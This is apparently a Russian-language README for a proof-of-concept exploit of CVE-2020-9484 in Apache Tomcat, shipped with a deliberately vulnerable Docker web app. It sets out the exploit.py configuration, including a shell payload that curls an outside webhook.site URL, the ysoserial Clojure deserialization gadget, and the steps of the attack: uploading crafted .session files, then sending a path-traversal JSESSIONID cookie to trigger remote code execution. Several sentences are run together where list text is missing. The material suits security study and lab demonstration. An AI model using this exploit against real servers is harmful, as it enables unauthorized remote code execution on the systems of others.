
PoC-эксплойт для CVE-2020-9484 и уязвимое веб-приложение для его демонстрации
Этот репозиторий содержит доказательство концепции эксплуатации уязвимости CVE-2020-9484, а также пример веб-сервера, уязвимого к данной атаке.
Затронутые версии Tomcat:
PersistentManager, использующий FileStore..session) и знает расположение, куда файл загружается.clojure или commons-collections), которые можно использовать для атаки на десериализацию Java.Пример сервиса — веб-сервер с двумя страницами: /index.jsp (или просто /) и /list.jsp. Он позволяет пользователю загружать и скачивать файлы (привязанные к текущей сессии), фактически выступая в роли файлового хранилища.
/upload с загрузкой файлов и позволяет пользователю выбирать имя файла. Это даёт возможность загружать файлы с расширением .session. Также известно, что сервер сохраняет файлы в каталоге /var/tmp/uploads.PersistentManager, использующий FileStore (см. context.xml).clojure:1.8.0, что упрощает атаку на десериализацию (см. pom.xml).Чтобы запустить пример уязвимого сервиса:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
После этого сервис должен быть доступен по адресу http://localhost:8085/POC_CVE-2020-9484/.
Теперь настройте конфигурационные переменные в начале файла exploit.py. Переменная PAYLOAD (здесь shell-скрипт) может быть любым файлом, который может быть выполнен сервером.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # конечная точка загрузки файлов уязвимого сервиса
FILE_UPLOAD_FORM_FIELD = 'file' # как указано в HTML-форме страницы загрузки
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # каталог, в который уязвимый сервис сохраняет загруженные файлы на своём сервере
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # путь к исполняемому файлу java, предпочтительна Java 11; yoserial не поддерживает более новые версии
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # нагрузка для проверки успешности RCE-атаки.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # эта зависимость должна присутствовать на уязвимом сервере; подробнее см. https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Теперь запустите exploit.py. Он выполняет следующие действия:
.session), которые впоследствии будут десериализованы на сервере:
PAYLOAD, загруженного на сервер.PAYLOAD на сервере.PAYLOAD как файл на сервер..session на сервер.JSESSIONID, в котором указан путь к ранее загруженным файлам .session относительно хранилища сессий сервера, что приводит к их десериализации и последующему выполнению полезной нагрузки./path/to/uploads/base/directory/<значение cookie JSESSIONID>/uploads/filename. В таком случае использование JSESSIONID вида ../../../../tmp (вместо произвольного значения, например "1337"*8, как в exploit.py выше) в POST-запросе на загрузку файла может помочь определить, где на сервере сохраняется загруженный файл.